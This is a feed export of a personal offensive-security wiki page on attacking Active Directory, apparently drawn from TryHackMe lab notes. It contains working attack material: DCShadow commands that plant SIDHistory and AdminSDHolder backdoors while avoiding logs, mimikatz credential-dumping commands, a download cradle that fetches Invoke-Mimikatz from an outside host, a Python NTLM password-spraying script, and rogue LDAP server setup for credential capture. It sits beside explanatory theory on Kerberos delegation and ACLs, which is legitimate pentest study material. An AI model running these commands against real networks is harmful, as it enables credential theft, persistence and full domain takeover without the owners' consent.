lsadump::dcshadow /object:TargetUser /attribute:servicePrincipalName /value:&amp;quot;SuperHacker/ServicePrincipalThingey&amp;quot;&lt;br /&gt;
# Set SID History for user (effectively granting them Enterprise Admin rights)&lt;br /&gt;
lsadump::dcshadow /object:TargetUser /attribute:SIDHistory /value:S-1-5-21-280534878-1496970234-700767426-519&lt;br /&gt;
# Set Full Control permissions on AdminSDHolder container for user&lt;br /&gt;
## Requires retrieval of current ACL:&lt;br /&gt;
(New-Object System.DirectoryServices.DirectoryEntry(&amp;quot;LDAP://CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com&amp;quot;)).psbase.ObjectSecurity.sddl&lt;br /&gt;
## Then get target user SID:&lt;br /&gt;
Get-NetUser -UserName BackdoorUser | select objectsid&lt;br /&gt;
## Finally, add full control primitive (A;;CCDCLCSWRPWPLOCRRCWDWO;;;[SID]) for user&lt;br /&gt;
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;&amp;lt;nowiki&amp;gt;[[S-1-5-21-1874506631-3219952063-538504511-45109]]&amp;lt;/nowiki&amp;gt;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finally, from either a DA session OR a session as the user provided with the DCShadow permissions before, run the DCShadow attack. Actions staged previously will be performed without leaving any logs.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lsadump::dcshadow /push&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= You got domain admin, now what =&lt;br /&gt;
&lt;br /&gt;
[https://infosecwriteups.com/you-got-domain-admin-now-what-aab749c4200d You got Domain Admin, now what?. Typically when you’re starting out on… | by Jevon Davis | InfoSec Write-ups (infosecwriteups.com)]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/06/You-got-Domain-Admin-now-what_-InfoSec-Write-ups.html You-got-Domain-Admin-now-what_-InfoSec-Write-ups][https://blog.aghanim.net/wp-content/uploads/2023/06/You-got-Domain-Admin-now-what_-InfoSec-Write-ups.html Download]&lt;br /&gt;
[[Category:Offensive Security]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Offensive_Security/Active_Directory&amp;diff=2376</id>
		<title>Offensive Security/Active Directory</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Offensive_Security/Active_Directory&amp;diff=2376"/>
		<updated>2026-06-11T08:28:52Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Pivoting */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:2022-06-13-132814_active-directory-logo-hd-png-download.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
These are my notes from the Active Directory networks at TryHackMe, as well as notes from other sources.&lt;br /&gt;
&lt;br /&gt;
Inspo:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://0x4rt3mis.github.io/posts/OSEP-Cheat-Sheet/&lt;br /&gt;
E&#039;s methodology&lt;br /&gt;
https://zer1t0.gitlab.io/posts/attacking_ad/&lt;br /&gt;
https://bitbin.it/SKZrPTcu/&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology&lt;br /&gt;
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview&lt;br /&gt;
https://book.hacktricks.xyz/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Work in progress&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
= References Matrix =&lt;br /&gt;
&lt;br /&gt;
[https://www.secureauth.com/labs/open-source-tools/impacket/ Impacket – SecureAuth]&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Name&lt;br /&gt;
! Explanation&lt;br /&gt;
! Tools/attack example&lt;br /&gt;
|-&lt;br /&gt;
| Unconstrained delegation&lt;br /&gt;
| Allows a service to delegate user credentials to any service on any computer.&lt;br /&gt;
| Exploiting unconstrained delegation involves accessing services running with SYSTEM or higher privileges.&lt;br /&gt;
|-&lt;br /&gt;
| Constrained delegation&lt;br /&gt;
| Allows delegation only to specific services.&lt;br /&gt;
| Attacking constrained delegation involves accessing specified services, using tools like Rubeus to exploit TGTs.&lt;br /&gt;
|-&lt;br /&gt;
| Resource-based constrained delegation&lt;br /&gt;
| Delegation rights are set on the resource&#039;s ACL, allowing greater flexibility in specifying delegation.&lt;br /&gt;
| Using Rubeus or similar tools to manipulate resource ACLs for privilege escalation.&lt;br /&gt;
|-&lt;br /&gt;
| mimikatz.exe&lt;br /&gt;
| Dump hashes and credentials from memory.&lt;br /&gt;
| mimikatz.exe &amp;quot;privilege::debug&amp;quot; &amp;quot;sekurlsa::logonpasswords&amp;quot; exit&lt;br /&gt;
|-&lt;br /&gt;
| invoke-mimikatz&lt;br /&gt;
| PowerShell version of mimikatz.&lt;br /&gt;
| `(New-Object System.Net.WebClient).DownloadString(&#039;[http://192.168.119.120/mimikatz.txt http://192.168.119.120/mimikatz.txt]&#039;)&lt;br /&gt;
|-&lt;br /&gt;
| invoke-mimidogz&lt;br /&gt;
| Obfuscated version of invoke-mimikatz to avoid AV detection.&lt;br /&gt;
| GitHub – fir3d0g/mimidogz: Rewrite of Invoke-Mimikatz.ps1 to avoid AV detection&lt;br /&gt;
|-&lt;br /&gt;
| invoke-sohighsohigh&lt;br /&gt;
| One Shot for Mimikatz PowerShell Dump All Creds with AMSI Bypass 2022 Edition.&lt;br /&gt;
| Invoke-OneShot-Mimikatz.ps1 – One Shot for Mimikatz PowerShell Dump All Creds with AMSI Bypass 2022 Edition (Tested and worked on Windows 10 x64 patched 2022-03-26)&lt;br /&gt;
|-&lt;br /&gt;
| SpoolSample.exe&lt;br /&gt;
| Coerce a computer to make an authentication in order to abuse print bug.&lt;br /&gt;
| Exploiting the print spooler bug using SpoolSample.exe to force authentication and capture credentials.&lt;br /&gt;
|-&lt;br /&gt;
| rubeus.exe&lt;br /&gt;
| Kerberos interaction and abuse tool, supporting pass-the-ticket, overpass-the-hash, ticket extraction, etc.&lt;br /&gt;
| Rubeus.exe tgtdeleg /user:username /rc4:hash /domain:domain /sid:sid /target:target /nowrap&lt;br /&gt;
|-&lt;br /&gt;
| impacket-secretsdump&lt;br /&gt;
| Dump secrets from a remote machine&#039;s registry hives.&lt;br /&gt;
| secretsdump.py domain/user:password@target&lt;br /&gt;
|-&lt;br /&gt;
| impacket-krbrelayx&lt;br /&gt;
| Tool for relaying Kerberos authentication.&lt;br /&gt;
| krbrelayx.py -h to see usage and examples for relaying Kerberos tickets.&lt;br /&gt;
|-&lt;br /&gt;
| impacket-mssql&lt;br /&gt;
| SQL server attack tool, capable of executing commands and dumping credentials.&lt;br /&gt;
| impacket-mssql domain/user:pass@target -windows-auth (use -windows-auth for Windows authentication).&lt;br /&gt;
|-&lt;br /&gt;
| impacket-ticketconverter&lt;br /&gt;
| Converts kirbi files (used by mimikatz) into ccache files (used by Impacket) and vice versa.&lt;br /&gt;
| ticketConverter.py &amp;lt;inputfile&amp;gt; &amp;lt;outputfile&amp;gt; to convert between kirbi and ccache formats.&lt;br /&gt;
|-&lt;br /&gt;
| ticketer.py&lt;br /&gt;
| Creates Golden/Silver tickets allowing customization of parameters like groups, ExtraSids, duration, etc.&lt;br /&gt;
| ticketer.py -nthash &amp;lt;nthash&amp;gt; -domain-sid &amp;lt;sid&amp;gt; -domain &amp;lt;domain&amp;gt; -user &amp;lt;username&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| setSPN&lt;br /&gt;
| Set Service Principal Names for accounts to allow Kerberos authentication.&lt;br /&gt;
| setspn -A &amp;lt;SPN&amp;gt; &amp;lt;Account&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| LOLBas&lt;br /&gt;
| Living Off The Land Binaries and Scripts – using built-in Windows tools for malicious purposes.&lt;br /&gt;
| Utilizing regsvr32.exe, mshta.exe, or other built-in tools for executing malicious payloads without dropping binaries.&lt;br /&gt;
|-&lt;br /&gt;
| gtfobins&lt;br /&gt;
| Repository of Unix binaries that can be used to bypass local security restrictions.&lt;br /&gt;
| Using cp, vim, or other listed Unix binaries to escalate privileges or maintain persistence.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= LOLBAS - Living off the land =&lt;br /&gt;
&lt;br /&gt;
[https://lolbas-project.github.io/ https://lolbas-project.github.io/]&lt;br /&gt;
&lt;br /&gt;
= WADComs - Very useful cheatsheet =&lt;br /&gt;
&lt;br /&gt;
https://wadcoms.github.io/&lt;br /&gt;
&lt;br /&gt;
= Icebreaker =&lt;br /&gt;
&lt;br /&gt;
[https://github.com/DanMcInerney/icebreaker GitHub - DanMcInerney/icebreaker: Gets plaintext Active Directory credentials if you&#039;re on the internal network but outside the AD environment]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= AD Methodology =&lt;br /&gt;
&lt;br /&gt;
* First step is to find valid credentials, that could either be a username, hashes or if lucky, username and password.&lt;br /&gt;
&lt;br /&gt;
* Once you have access to target, enumerate AD. Relations between users, groups. Use BloodHound etc.&lt;br /&gt;
&lt;br /&gt;
* Escalate privilege on local machine to local administrator&lt;br /&gt;
&lt;br /&gt;
* Extract hashes if possile.&lt;br /&gt;
&lt;br /&gt;
* Escalate to domain admin.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-07-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= Mindmap - Current 2025 =&lt;br /&gt;
&lt;br /&gt;
[https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg]&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2022/06/mindmap_ad_dark_classic_2025.03.excalidraw.svg mindmap_ad_dark_classic_2025.03.excalidraw][https://book.ghanim.no/wp-content/uploads/2022/06/mindmap_ad_dark_classic_2025.03.excalidraw.svg Download]&lt;br /&gt;
&lt;br /&gt;
= Mindmap - Nr 2 =&lt;br /&gt;
&lt;br /&gt;
[https://tajdini.net/blog/penetration/active-directory-penetration-mind-map/ https://tajdini.net/blog/penetration/active-directory-penetration-mind-map/]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/01/Active-Directory-Penetration-Manual.pdf Active-Directory-Penetration-Manual][https://blog.aghanim.net/wp-content/uploads/2023/01/Active-Directory-Penetration-Manual.pdf Download]&lt;br /&gt;
&lt;br /&gt;
= Mindmap - Nr 3 =&lt;br /&gt;
&lt;br /&gt;
[https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-11-pentest_ad_dark_2023_02-1.svg|thumb]]&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/11/pentest_ad_dark_2023_02.svg pentest_ad_dark_2023_02][https://book.ghanim.no/wp-content/uploads/2023/11/pentest_ad_dark_2023_02.svg Download]&lt;br /&gt;
&lt;br /&gt;
= Active Directory Theory =&lt;br /&gt;
&lt;br /&gt;
== Object Permission (ACE, DACL, SIDs...) ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Active Directory Securable Object Permissions&#039;&#039;&#039;: Determines who can access an AD object and what they can do with it.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Discretionary Access Control List&#039;&#039;&#039; (DACL): Controls access to an object. Comprises a series of Access Control Entries (ACE).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Access Control Entry&#039;&#039;&#039; (ACE): Each ACE defines whether access to the object is allowed or denied, the entity it applies to, and the type of access.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Order of ACEs:&#039;&#039;&#039; If a deny ACE precedes an allow ACE, the deny takes precedence (first match principle).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Security Descriptor Definition Language&#039;&#039;&#039; (SDDL): A string-delimited method by which ACEs are stored.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ACE String Example&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;(A;;RPWPCCDCLCSWRCWDWOGA;;;S-1-1-0)&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Translation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;AceType: A = ACCESS_ALLOWED_ACE_TYPE&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Access rights:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
RP = ADS_RIGHT_DS_READ_PROP&lt;br /&gt;
WP = ADS_RIGHT_DS_WRITE_PROP&lt;br /&gt;
CC = ADS_RIGHT_DS_CREATE_CHILD&lt;br /&gt;
DC = ADS_RIGHT_DS_DELETE_CHILD&lt;br /&gt;
LC = ADS_RIGHT_ACTRL_DS_LIST&lt;br /&gt;
SW = ADS_RIGHT_DS_SELF&lt;br /&gt;
RC = READ_CONTROL&lt;br /&gt;
WD = WRITE_DAC&lt;br /&gt;
WO = WRITE_OWNER&lt;br /&gt;
GA = GENERIC_ALL&lt;br /&gt;
Ace Sid: S-1-1-0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;DACL Enumeration via PowerView&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* To Import PowerView in PowerShell:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;PS C:\tools&amp;gt; . .\powerview.ps1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;To Enumerate DACLs of a User (e.g., offsec):&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;PS C:\tools&amp;gt; Get-ObjectAcl -Identity offsec&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;To Resolve SID to a Username or Group:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;PS C:\tools&amp;gt; ConvertFrom-SID &amp;lt;SID&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Automating SID Conversion:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;PS C:\tools&amp;gt; Get-ObjectAcl -Identity offsec -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Kerberos ==&lt;br /&gt;
&lt;br /&gt;
=== Kerberos Authentication graph ===&lt;br /&gt;
&lt;br /&gt;
[https://narekkay.fr/linkedin/kerberos.gif kerberos.gif (1080×1564) (narekkay.fr)]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-kerberos-1.gif|thumb]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Kerberos: A network authentication protocol that provides strong authentication for client-server applications.&lt;br /&gt;
&lt;br /&gt;
* Main Issue: Kerberos double-hop – The inability to pass authentication from one server to another server on behalf of the user.&lt;br /&gt;
&lt;br /&gt;
=== Microsoft’s Kerberos Delegation Solutions ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;a) Unconstrained Delegation (2000):&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Overview: Allows the service to impersonate a user to any other service.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Pros:&#039;&#039;&#039;&lt;br /&gt;
Simple to implement.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Cons:&#039;&#039;&#039;&lt;br /&gt;
Less secure: Any service can impersonate the user without restriction.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;b) Constrained Delegation (2003)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Overview: Allows the service to impersonate a user, but only to specified services.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Pros:&#039;&#039;&#039;&lt;br /&gt;
More secure than unconstrained as it limits the services to which a user can be impersonated.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Cons:&#039;&#039;&#039;&lt;br /&gt;
Requires service-specific configuration.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;c) Resource-based Constrained Delegation (2012)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Overview: Extension of constrained delegation, allows the target service to define who can delegate to it.&lt;br /&gt;
&lt;br /&gt;
* Requirements: Domain functional level of 2012.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Pros:&#039;&#039;&#039;&lt;br /&gt;
Greater control over which accounts can impersonate users to it.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Cons:&#039;&#039;&#039;&lt;br /&gt;
Requires a newer domain functional level.&lt;br /&gt;
&lt;br /&gt;
=== Exploiting Kerberos Delegation: ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Unconstrained Delegation Exploitation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Unconstrained delegation is a feature in Kerberos that allows a service to impersonate a user to any other service. While this might be useful in scenarios like multi-tier applications, it can pose significant security risks if misconfigured or abused.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Constrained Delegation Exploitation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Constrained delegation is a feature in the Kerberos authentication protocol that permits a service to impersonate a user to a specified set of services, as opposed to any service.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resource-based Constrained Delegation Exploitation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Resource-based constrained delegation (RBCD) is an extension of constrained delegation, providing a more granular level of control over delegation permissions. In RBCD, the permissions for delegation are set on the resources (services) themselves, specifying which services (or servers) are allowed to impersonate users to them.&lt;br /&gt;
&lt;br /&gt;
=== Difference between ASREProast and Kerberoasting ===&lt;br /&gt;
&lt;br /&gt;
[https://luemmelsec.github.io/Kerberoasting-VS-AS-REP-Roasting/ https://luemmelsec.github.io/Kerberoasting-VS-AS-REP-Roasting/]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;AS_REP Roasting&#039;&#039;&#039; is taking place during the initial authentication procedure within Kerberos. It´s abusing the fact, that for accounts with the option &#039;&#039;&#039;Do not require Kerberos preauthentication&#039;&#039;&#039; set, there is no need to send the (normally required) encrypted timestamp (with the users password hash) at the very beginning. Thus everyone on the network who knows the name of an affected account may ask the &#039;&#039;&#039;KDC&#039;&#039;&#039; to authenticate as that user and in return fetch a &#039;&#039;&#039;AS_REP&#039;&#039;&#039; response which partly is encrypted with the AS_REP roastable account´s password hash. Once obtained, an attacker can try to offline crack the hash and fetch the cleartext credentials.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kerberoasting&#039;&#039;&#039; aims at asking for service tickets related to services on the network where the &#039;&#039;&#039;SPNs&#039;&#039;&#039; are tied to user accounts, rather than computer accounts. The background here is that if a person creates a user he will choose the password most likely according to human standards i.e. a phrase, a word mixed with numbers, etc. If that password is weakly chosen, then it is possible to crack the hash and get the cleartext credentials.&lt;br /&gt;
During the process of asking to access a service on the network, the &#039;&#039;&#039;TGS&#039;&#039;&#039; will send a data package that contains a service ticket which is encrypted with the service-account´s password hash, that again like in the &#039;&#039;&#039;AS_REP roasting&#039;&#039;&#039; attack can be cracked offline.&lt;br /&gt;
&lt;br /&gt;
= Finding valid credentials =&lt;br /&gt;
&lt;br /&gt;
== Pentest network ==&lt;br /&gt;
&lt;br /&gt;
See [https://blog.aghanim.net/?page_id=2041 methodology]&lt;br /&gt;
&lt;br /&gt;
* Try exploit vulnerabilities on open ports&lt;br /&gt;
&lt;br /&gt;
* Try extract credentials from open ports&lt;br /&gt;
&lt;br /&gt;
== Enumerate DNS ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== OSINT and Phishing ==&lt;br /&gt;
&lt;br /&gt;
* Check public forums like [https://stackoverflow.com/ Stack Overflow]&lt;br /&gt;
&lt;br /&gt;
* Check public repo on github&lt;br /&gt;
&lt;br /&gt;
* Breached credentials. (Dehashed, intelx etc)&lt;br /&gt;
&lt;br /&gt;
* Google dorking&lt;br /&gt;
&lt;br /&gt;
== Null and Guest access on SMB services ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
enum4linux -a -u &amp;quot;&amp;quot; -p &amp;quot;&amp;quot;  &amp;amp;&amp;amp; enum4linux -a -u &amp;quot;guest&amp;quot; -p &amp;quot;&amp;quot;&lt;br /&gt;
smbmap -u &amp;quot;&amp;quot; -p &amp;quot;&amp;quot; -P 445 -H  &amp;amp;&amp;amp; smbmap -u &amp;quot;guest&amp;quot; -p &amp;quot;&amp;quot; -P 445 -H&lt;br /&gt;
smbclient -U &#039;%&#039; -L // &amp;amp;&amp;amp; smbclient -U &#039;guest%&#039; -L //&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== NTLM Relay attack ==&lt;br /&gt;
&lt;br /&gt;
NTLM relay is a technique that allows an attacker to intercept and forward NTLM authentication requests between a client and a server. The attacker can use this technique to gain access to the server or perform other actions on behalf of the client. For example, an attacker can use NTLM relay to dump the hashes of all domain users from a domain controller using DCSYNC.&lt;br /&gt;
&lt;br /&gt;
Example: an attacker could use PetitPotam to force a domain controller to authenticate to a malicious server and then relay the NTLM request to another domain controller and perform a DCSync operation, which allows the attacker to dump all the password hashes from Active Directory. This could result in a complete takeover of the Windows domain.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py&lt;br /&gt;
 This module performs the SMB Relay attacks originally discovered by cDc extended to many target protocols (SMB, MSSQL, LDAP, etc).&lt;br /&gt;
   It receives a list of targets and for every connection received it will choose the next target and try to relay the credentials. Also, if specified, it will first to try authenticate against the client connecting to us.&lt;br /&gt;
 It is implemented by invoking a SMB and HTTP Server&lt;br /&gt;
&lt;br /&gt;
https://github.com/CCob/lsarelayx&lt;br /&gt;
lsarelayx is system wide NTLM relay tool designed to relay incoming NTLM based authentication to the host it is running on. lsarelayx will relay any incoming authentication request which includes SMB.&lt;br /&gt;
&lt;br /&gt;
https://github.com/topotam/PetitPotam&lt;br /&gt;
PetitPotam is a technique that can be used to perform NTLM relay attacks against Windows servers, including domain controllers.&lt;br /&gt;
&lt;br /&gt;
https://0xdf.gitlab.io/2019/01/13/getting-net-ntlm-hases-from-windows.html&lt;br /&gt;
Good explanation of NTLM relay.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== NTLM Authenticated Services ==&lt;br /&gt;
&lt;br /&gt;
New Technology LAN Manager (NTLM) is the suite of security protocols used to authenticate users&#039; identities in AD.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
def password_spray(self, password, url):&lt;br /&gt;
    print (&amp;quot;[*] Starting passwords spray attack using the following password: &amp;quot; + password)&lt;br /&gt;
    #Reset valid credential counter&lt;br /&gt;
    count = 0&lt;br /&gt;
    #Iterate through all of the possible usernames&lt;br /&gt;
    for user in self.users:&lt;br /&gt;
        #Make a request to the website and attempt Windows Authentication&lt;br /&gt;
        response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + &amp;quot;\\&amp;quot; + user, password))&lt;br /&gt;
        #Read status code of response to determine if authentication was successful&lt;br /&gt;
        if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):&lt;br /&gt;
            print (&amp;quot;[+] Valid credential pair found! Username: &amp;quot; + user + &amp;quot; Password: &amp;quot; + password)&lt;br /&gt;
            count += 1&lt;br /&gt;
            continue&lt;br /&gt;
        if (self.verbose):&lt;br /&gt;
            if (response.status_code == self.HTTP_AUTH_FAILED_CODE):&lt;br /&gt;
                print (&amp;quot;[-] Failed login with Username: &amp;quot; + user)&lt;br /&gt;
    print (&amp;quot;[*] Password spray attack completed, &amp;quot; + str(count) + &amp;quot; valid credential pairs found&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python ntlm_passwordspray.py -u  -f  -p  -a&lt;br /&gt;
 - Textfile containing our usernames - &amp;quot;usernames.txt&amp;quot;&lt;br /&gt;
 - Fully qualified domain name associated with the organisation that we are attacking - &amp;quot;za.tryhackme.com&amp;quot;&lt;br /&gt;
 - The password we want to use for our spraying attack - &amp;quot;Changeme123&amp;quot;&lt;br /&gt;
 - The URL of the application that supports Windows Authentication - &amp;quot;http://ntlmauth.za.tryhackme.com&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== LDAP ==&lt;br /&gt;
&lt;br /&gt;
See [https://blog.aghanim.net/?page_id=1809#389_636_3268_3269_-_LDAP cheatsheet LDAP]&lt;br /&gt;
&lt;br /&gt;
LDAP authentication is similar to NTLM authentication. However, with LDAP authentication, the application directly verifies the user&#039;s credentials. The application has a pair of AD credentials that it can use first to query LDAP and then verify the AD user&#039;s credentials.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -n -sV --script &amp;quot;ldap* and not brute&amp;quot; -p 389&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ldapsearch -x -h 192.168.89.122 -b &amp;quot;dc=hutch,dc=offsec&amp;quot; &amp;gt; ldap.searchquery&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== LDAP Pass-back Attack ===&lt;br /&gt;
&lt;br /&gt;
In an LDAP Pass-back attack, we can modify this IP to our IP and then test the LDAP configuration, which will force the device to attempt LDAP authentication to our rogue device.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Setup rogue LDAP server&lt;br /&gt;
sudo apt-get update &amp;amp;&amp;amp; sudo apt-get -y install slapd ldap-utils &amp;amp;&amp;amp; sudo systemctl enable slapd&lt;br /&gt;
# Configure the rogue LDAP server&lt;br /&gt;
sudo dpkg-reconfigure -p low slapd&lt;br /&gt;
# Make rogue LDAP server vulnerable by downgrading the supporten authentication mechanism. Add this to a file called &amp;quot;olcSalSecProps.ldif&amp;quot;:&lt;br /&gt;
#olcSaslSecProps.ldif&lt;br /&gt;
dn: cn=config&lt;br /&gt;
replace: olcSaslSecProps&lt;br /&gt;
olcSaslSecProps: noanonymous,minssf=0,passcred&lt;br /&gt;
&lt;br /&gt;
olcSaslSecProps: Specifies the SASL security properties&lt;br /&gt;
noanonymous: Disables mechanisms that support anonymous login&lt;br /&gt;
minssf: Specifies the minimum acceptable security strength with 0, meaning no protection.&lt;br /&gt;
# Now we can use the ldif file to patch our LDAP server using the following:&lt;br /&gt;
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif &amp;amp;&amp;amp; sudo service slapd restart&lt;br /&gt;
# Verify rogue LDAP servers config&lt;br /&gt;
[kali@kali]$ ldapsearch -H ldap:// -x -LLL -s base -b &amp;quot;&amp;quot; supportedSASLMechanisms&lt;br /&gt;
dn:&lt;br /&gt;
supportedSASLMechanisms: PLAIN&lt;br /&gt;
supportedSASLMechanisms: LOGIN&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
